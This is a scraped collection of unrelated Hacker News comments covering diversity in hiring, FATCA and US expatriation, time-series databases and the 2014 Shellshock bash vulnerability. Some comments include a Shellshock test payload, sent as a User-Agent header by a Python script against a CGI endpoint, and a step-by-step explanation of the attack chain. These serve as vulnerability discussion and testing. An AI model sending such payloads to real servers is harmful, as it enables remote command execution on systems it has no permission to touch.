skysight-inc/HackerNews huggingface dataset:
"Why <race,gender,etc> instead of socioeconomic status?"

Their objective is not to target and assist the people who need the most help in getting into hacker school, like the most socioeconomically challenged people in your example. That would pose a number of problems and concerns.

First of all, it would require more outreach. It would also be slower and more difficult, for factors like lack of transportation, communication, or english as a second language, just to name a few. Finally, it would be politically unwise to snub certain groups (feminists, black coalitions, etc) that are much louder and more organized than other groups or individuals, regardless of whether they are in more need.

Basically: it's both easier and more attractive to support the most vocal minorities, and it's much harder to support the people that are actually in the most need.

And yeah, people tend to vote their feelings here. You will get a million more upvotes by supporting someone's misguided cause than you will by calling out the illogical motivation.
Hootsuite raises $60M in new funding
Diversity can only improve a system. The article specifically addresses that point.
You don't have to do it explicitly either. In Perl, for instance, doing stuff like open($tgz, "|-", "gzip | tar -cvf /tmp/file.tgz"); is going to cause execution of /bin/sh behind the scenes. Assuming that /bin/sh is never called during processing of external requests is risky.
Never heard of "elite deviance" before, can't figure out how it's relevant here from the first page of google results, and don't intend to purchase a book to find out, but...

... it seems self-evident to me that you have to get your own house in order before it's wise to devote resources to others.

I can't imagine devoting time and energy to caring for the sick if you yourself weren't healthy.
I can't imagine donating money to the poor if you couldn't feed yourself or your own family.
etc

Yet those are logical conclusions to the philosophy that "in life the most important thing to do is always think about others and not about yourself first."
Your idea won't work and also would prevent most scripts in your system to work correctly.

I wrote unix exploits for a living for years (All legit, in a pentest company) and for payloads I would normally use echo or printf to upload a binary and execute it. And those are built-in commands in the shell.
Kudos for Rethink getting into geo. GeoCouch has been a huge adoption driver for public data applications.

I think the real killer mix is geo + sync (because then you can trivially share civic data). Maybe someday we'll see sync from Rethink?
About Ello
https://hn.algolia.com/?q=miss+a+payment#!/story/forever/0/m...
They did point out that the first round selection is done based on anonymized applications.

It might not be not perfect, but if round 1 is blind to X, and rounds 2 and 3 admit people in similar ratios to round 1, it sounds pretty good to me.
Is the file extension going to be .aspxx?
First question - do you even need a database right now? Have you for example considered using CSV files and simply loading those files into Pandas or R on demand?

I am currently working on a project analyzing massive amounts of options data and have found this approach to be both quite easy as well as flexible to work with... and as my project matures I may move select parts of it into a database.
Let's say there is a tiny bank in Lichtenstein. It has two customers. Me, with $10,000 in the bank; I am a U.S. citizen. And the Sultan of Brunei, who deposits $1 billion.

I tell the banker to keep my cash in the bank in Lichtenstein, and I use that bank account to pay my rent, buy food, and other ordinary things.

The Sultan of Brunei tells the banker to take all of his money and plow it into the U.S. stock market.

Tiny Bank of Lichtenstein takes all of the Sultan of Brunei's money and plops it into the U.S. stock market. Buys Google and Apple stock and all that fun stuff.

One day the Sultan of Brunei calls up the bank and says "I would like $1 billion of my money back because I need spending money." The banker sells a bunch of Apple and Google stock until there is $1 billion of cash ready to wire back from New York to the Sultan of Brunei's bank account in Lichtenstein so the Sultan of Brunei can spend his own money.

The Sultan of Brunei, by the way, is not taxable in the U.S. on the capital gain that was made when the banker bought him Apple shares at $75 and sold those shares at $100.

If Tiny Bank of Lichtenstein has the right kind of paperwork in its files about me -- its only U.S. citizen customer, with a trivial amount of money in his bank account -- then the Sultan of Brunei's $1 billion will be wired from New York to Lichtenstein with no problems.

If Tiny Bank of Lichtenstein does NOT have the right kind of paperwork in its files about me -- its only U.S. customer -- then the Sultan of Brunei's $1 billion will face a terrible fate. Thirty percent of that $1 billion will be withheld, and 70% of the money will be wired to the Sultan's bank account in Lichtenstein.

The Sultan of Brunei only gets $700 million in his account. He is grumpy and yells at the banker.

Key metaphysical insights:

1. The 30% problem is imposed on gross money leaving the United States. It has no relationship to whether that money is taxable or not.

2. The U.S. government is threatening the customers of foreign banks with financial loss as a method for forcing the foreign banks to do its bidding. It is not too far off from suggesting that the continued health of your wife and children might be in jeopardy, so why don't you just do me this little favor.

3. If the bank looks at its customer base, who are they going to throw under the bus? Answer: me, the U.S. customer. My presence as a customer creates enormous risk -- risk of penalties payable to the U.S. government, but more importantly a risk that the bank will become unattractive to the Sultan of Brunei. And they don't want to lose the Sultan of Brunei as a customer.

This is why FATCA is so evil. And this is why Americans abroad are increasingly willing to give up their passports.

EDIT. There is a reporting threshold -- foreign banks don't need to report small account holders like me. Adjust my little story to pretend I put $100,000 in the bank. Or adjust my little story to assume -- correctly -- that a bank account that has $10,000 in it today (and is thus fully compliant with FATCA nonreporting) might have $100,000 in it tomorrow and land the bank in a metric tonne of compliance shit.
It's pretty easy:

1. American society consists of all kinds of people

2. A lot of those groups are weirdly underrepresented in the American tech industry

3. That means we're wasting a lot of great programming talent at a time when we badly need it.
When You’re not water proof you have to offer better impact resistance or else
What Could Watson Do for Your Organisation?
I'd argue that women, on average, have received less advantages than men. And pacific islanders, on average, have received less advantages than white people.

You're getting caught up in a taking a very specific sample and comparing it to a general population.
Depending on how 'huge' your timeseries are, you might be pleasantly surprised with Postgres. Postgres scales to multiple TB just fine, and of course the software can be easier to write since you have SQL and ORMs to rely on. It's also an incredibly mature and stable software package, if you're worried about future-proofing.

Some (constantly-growing) timeseries can be stored on a per-row basis, while other (static or older) timeseries can be stored in a packed form (e.g. an array column).

I find that most of the time, "Big Data" isn't really all that big for modern hardware, and so going through all of the extra software work for specialized data stores isn't really all that necessary. YMMV, of course, depending on the nature of your queries.
Thanks! I'm actually planning on writing more about what we've learned from anonymizing our applications and from our application process in general in the next few days. I think some of the things we've learned could probably also be applied to hiring at a company with some modification (it's harder to anonymize resumes and emails than it is to anonymize a standard application).

Another side effect of anonymized applications is that we get to read a lot of funny application names (Beet Manager, Pastry Magician, Bean Pain).
Its a joke, eval(uate) is evil...
Not the OP, but I noticed:

> Commands to create points, lines, polygons and circles

All of the links in that sentence 404.
'Right-picking'?! No. Hell on. The headline you need is 'Pick the Right First Project to Go DevOps On.'

Headlines and titles of the form 'Verbing the noun' have become very fashionable over the last couple of decades because they five a sense of immediacy and action, but lemming-like adherence to this convention will take you right off a semantic cliff and onto the ugly rocks of neologism.

Using unwieldy portmanteau terms when rearranging the same words would yield a simpler, clearer, and shorter sentence is at best a cover for a lack of ideas and at worst indicates an inability to properly structure ideas.
I know, from news here in Canada, that they have introduce some delays that are preventing thousands of dual citizens to renounce their US citizenships until 2015 at the earliest. Furthermore, you can not renounce your US citizenship if do not have citizenship in another country. So, of course, most Americans can not do this and to use the population of the US as a relative base for your count is meaningless.
Show HN: Frame – A user system API for Node.js
Apache isn't setting CGI variables using the shell. It may call a shell (indirectly or directly) when executing the CGI script.
I'd like to see more of a potential plan here - otherwise I'm afraid that making a drug un-patentable would make it /less/ likely that it goes to market.

I believe I've seen evidence of exactly that happening as margins for a drug are very low if it can't be protected (via IP), and the cost to bring a drug to market is so high.

I see many problems with current IP system - but I don't see how this is avoidable in a completely commoditizable generic drug market.

If I'm making some incorrect assumptions here, I'd love to know!
As an American living in the US with a bank account abroad renouncing American citizenship isn't an option. What can people in this situation do?
The core question which you keep ducking is, "why do you insist on grouping by race/gender?" I.e., why don't you group humans into "suffered lots of disadvantage", "suffered a medium amount", "suffered none"?

Among other things, the category "people who suffered lots of disadvantage" is more disadvantaged than either women or any racial group. Why do you explicitly exclude this subgroup of humans from consideration?

Downmodding, BTW, still counts as ducking the question. Good to know that it's a difficult one.
The way I see it a sane but unfortunate programmer can cause a CVE, but you have to be insane to do what bash does with its environment. Why the HELL doesn't bash store inherited functions in an environment variable with a known name (e.g. "BASH_INHERITED_FUNCTIONS") like everybody else?!?

In my mind even this trivial example is a bug (albeit less serious from a security perspective):

$ env VAR="() { This is how I like my VAR } ()" /bin/sh -c 'echo $VAR'
/bin/sh: VAR: line 0: syntax error near unexpected token `('
/bin/sh: VAR: line 0: `VAR () { This is how I like my VAR } ()'
/bin/sh: error importing function definition for `VAR'

$

Imagine an ABI that works like that: you can pass any string, as long as it doesn't start with "() {"... :/
If the foreign bank does not play along with the U.S. government, it will find itself unable to transact business in U.S. dollars.
You guys have been killing it all summer! Keep it up.
> As a random aside: The US Gov is practically the only country in the world who tries to collect income tax from US citizens living abroad. The fact that Americans who move away have to file US tax returns for the remainder of their life is bonkers.

Hm, I can somewhat understand that? If I was moving out of Germany and got into trouble abroad, I would expect (and receive) help from the German consulate/government. Paying at least some taxes for that seems reasonable, as long as double taxation and all that is avoided.
Odd. I am running quite old software:

echo $0 -> bash
ls -l /bin/sh -> /bin/bash
GNU bash, version 3.1.17(2)-release
Apache/2.2.25

And I couldn't reproduce the vurnerability in a perl cgi script unless I had explicitly referenced an environment variable in the system() call like I posted above. I thought all versions are vurnerable.

#test-cgi.pl
use strict;
use warnings;
use CGI;

print "Content-Type: text/plain\n\n";

my $q = CGI->new();

print "\nHEADERS:\n==============\n";
my %headers = map { $_ => $q->http($_) } $q->http();
foreach my $k ( keys %headers ) {
print "$k\n $headers{$k}\n";
}

system("echo hello");

#request.py
import socket
def build_request(meth, host, path, headers=None):
req = "%s %s HTTP/1.0\r\nHost: %s\r\n" % (meth, path, host)
if headers is not None:
req = req + "\r\n".join(headers) + "\r\n"
return req + "\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip_addr = 'xxx.xxx.xxx.xxx'
sock.connect((ip_addr, 80))
headers = [
'User-Agent:() { :; }; /bin/touch /tmp/testshellshock;',
]
req = build_request("GET", ipaddr, "/cgi-bin/test-cgi.pl", headers)
sock.sendall(req)
Cambodia – IT Market Survey 2013
My wife and I had tentative plans to buy a place in Costa Rica, but put the plans on indefinite hold. FATCA was a consideration. It is now a pain in the ass for foreign banks to have USA citizens as customers.

Bill Clinton, way back when, signed a bill that would confiscate people's money, over a certain threshold if they renounced their citizenship (money that had already been taxed). My wife and I certainly do not want to renounce our citizenship, so that is not an issue, but spending a lot of time in a foreign home without a local bank account is a nuisance.

I understand the motive behind FATCA (our government needs every bit of revenue it can get, except of course from corporations and the super rich :-) but FATCA is inconvenient.

edit: that is confiscated a certain, sizable percentage of money, over a threshold
I'm on a Nexus 5 and have major memory leak issues with LB (I've reported them) if you keep the "bubble" open for too long. Chrome is very heavy as well in general, so Javelin is a really nice refresher what a fast browser feels like.

I just bought the pro version and I'm going to use it for a while before I comment more on it.
Why don't you recommend living there? It sounds like a nice place?
http://blueflood.io/ is an option. It's built on top of cassandra and has experimental support for use as a backend for graphite-web. There are several engineers still actively working on it who are generally happy to help with any issues raised via irc or the mailing list. Unsure what you mean by 'massive', but I've used it to store billions of data points per day successfully.

Disclaimer: I'm a former core contributor to blueflood.
I'm seeing this on Debian wheezy. Looks like libssl0.9.8 isn't available -- only libssl1.0.0. I'm using this as my apt source:

deb http://download.rethinkdb.com/apt lucid main

Is there a better wheezy package source?

The following NEW packages will be installed:
rethinkdb{b}
0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 14.3 MB of archives. After unpacking 39.1 MB will be used.
The following packages have unmet dependencies:
rethinkdb : Depends: libssl0.9.8 (>= 0.9.8k-1) which is a virtual package.
The following actions will resolve these dependencies:

Keep the following packages at their current version:
1) rethinkdb [Not Installed]
All USD transactions clear through the Fed. If you are a bad bank they might not clear your USD transactions. That could be bad for business.
Development of graphite is effectively dead. The datastore component (carbon and whisper) has design issues, and the official replacement (ceres) hasn't seen any commits this year. There are a some alternatives, though.

For data storage Cyanite [0] speaks the graphite protocol and stores the data in Cassandra. Alternately, InfluxDB [1] speaks the graphite protocol and stores the data in itself

To get the data back out, there's graphite-api [2] which can be hooked up to cyanite [3] or influxdb [4]. You can then connect any graphite dashboard you like, such as grafana [5], to it.

[0] https://github.com/pyr/cyanite
[1] http://influxdb.com
[2] https://github.com/brutasse/graphite-api
[3] https://github.com/brutasse/graphite-cyanite
[4] https://github.com/vimeo/graphite-influxdb
[5] http://grafana.org
Why was Google funding ALEC in the first place?
It looks very good. It's a pity it only syncs with Chrome and not with Firefox.
A Ruby Gem for Oracle's Responsys API
Can't wait to hear more about this at your event this October!
What do you mean by sync? Something like http://rethinkdb.com/docs/changefeeds, or do you mean something different?
Yes Android mostly, we have an iPad Mini but don't use it as much. But "Android too" isn't a great solution - movies are so universal you'd just be excluding slightly fewer people.

If you don't incur costs per recommendation then I would make it as easy as possible for everyone to access it.

If you do incur costs per recommendation I'd lock the fancy stuff up behind some kind of paywall and use naive recommendations for the free people so you can still target everybody economically.
I have used http://influxdb.com/, I have used it with a few million records. Getting the data out is a bit slow because it goes over HTTP. Also make your InfluxDB library of choice can deal with HTTP chunking. I found that if you request a lot of data from InfluxDB and the system does not have enough memory, the process will silently die.

If you have mega huge data http://opentsdb.net/ seems pretty decent, however I have not tried it out.
If php is being run from mod_cgi, then it is exploitable.

The full chain of the attack:

Request sent to the url, containing headers with '() { :;}; codehere'

Per CGI standard: environment variables are set with the attack code.

PHP is executed directly, with the environment containing the attack.

PHP calls system - the same environment is there, meaning the code is executed if /bin/sh points to bash.

N.B. - If /bin/sh is not bash, but the program executed by system() itself executes a call to system() which points to something explicitly calling a bash ( apply this if recursively), the exploit is triggered.

It's not about passing "arguments" on the command line, its about what the environment variables are. It's not always immediately obvious how the env vars are constructed - everyone points to CGI because it's a well known scenario, but there are plenty of other cases where environment variables are set from user data.

tl; dr - in any situation user input is used in environment variables, simply calling /bin/bash is enough.
MDN : https://developer.mozilla.org/en-US/
All the new webrtc api need a refresh on their documentation.

I'm sure there's other parts that needs to be updated.

This is the collaborative bible for web developers, think of it as a wikipedia for the web apis.

(edit : I'm saying that in case you or your friend does not know that already)

There's also yunohost here : https://yunohost.org that would need some documentation.
The reason for digital currencies is becoming clearer.
Redshift. It scales superbly.
To some extent yes, to some extent no. I would argue that the reason a country like Sweden is considered a model for the rest of the world to follow is largely because the homogeneous population makes it easy to push forward with very progressive policies. Contrast that with the US, where something like nationalized healthcare is basically a pipedream because of so many competing interests (or diversity of viewpoints, if you will).
Afterlife of the world's subterranean 'ghost stations'
Yep, banks heavily use these to store tickers (currencies, instruments) and do calculations of VWAP, etc. Pretty much standard in the industry for these kind of applications.
APIs are definitely the way forward!
Ask HN: What is your minimum engagement threshold to define a user
When talking to investors, what is the minimum level of engagement do you use to define a user (i.e. a signup) as a user. e.g. If you have signups that just log-in a couple times and don't come back, would you continue to keep them in your user stats?
BlackBerry's New Blend Application Requires IPv6 Networking
Totally agreed on the European passports being overall superior (although some do come with obligations like military service for an Austrian passport for example), but they're much harder to obtain (I've been denied German citizenship).

I've read about your reasons for leaving (security), and sadly, I have to agree that they're still an issue (and I'd love living in Switzerland).

I think the risk can be minimized though. Ideally I'd want to live in Punta del Este or Maldonado rather than Montevideo, and the countryside is still pretty safe (though a computer nerd might die of boredom there :P ).
If you are someone that buys in to all this diversity nonsense, please watch https://www.youtube.com/watch?v=v_dRt00ufp4

I am prepared for the downvotes, keep them coming.
1. Canary in a coal mine. Are these (currently small) numbers an indication of an underlying problem?

2. Are the numbers reported by the U.S. government accurate?

3. To the contrary, the annual expatriation numbers appear to be increasing.
If this is for a Manufacturing environment, OSI Soft's PI Historian may be a good fit. Really depends on what exactly your requirements are.
If the goal is to gain more experience your friend should look for projects that appeal to them or are in an area they wish to gain experience in. For example, if they want to do code-level work, find a dev library - if they want to do user-level work find that. Also, some of the more established doc projects might be better to learn from than a project that has no docs - like the gnome docs team, etc.
Beware of using Elasticsearch as a primary DB. Kyle Kingsbury has shown that it loses an awful lot of data during a partition, despite their claims. Example: http://aphyr.com/posts/317-call-me-maybe-elasticsearch
Some tips for querying timeseries in Postgres: http://no0p.github.io/postgresql/2014/05/08/timeseries-tips-...

HN discussion: https://news.ycombinator.com/item?id=7809819
X and SteamOS
Just out of curiosity, what are you using to parse the reading view of a webpage. It seems really fast so I doubt you're using Readability; probably some local library?
New ‘No Ads’ Social Network Ello
Since there is a well documented hiring[1] bias against people with both female-sounding-names and non-white-sounding names, I think anonymized applications is an amazing idea! So many people never make it to even a phone screen because of insidious biases.

[1] seriously, so many examples, https://www.google.com/search?q=research+bias+hiring+names
I wouldn't recommend living in Uruguay; I had very good reasons to leave and I don't see myself returning anytime soon.

I'd be curious to know why this is the case for you.
I know we're feuding in the other thread, but I just happen to flat-out disagree with you on this.

Believe it or not, I'm open to being convinced. Care to share what you're basing this statement on?
Until recently, TempoIQ used Apache HBase to store time series data. http://blog.tempoiq.com/why-tempoiq-moved-off-hbase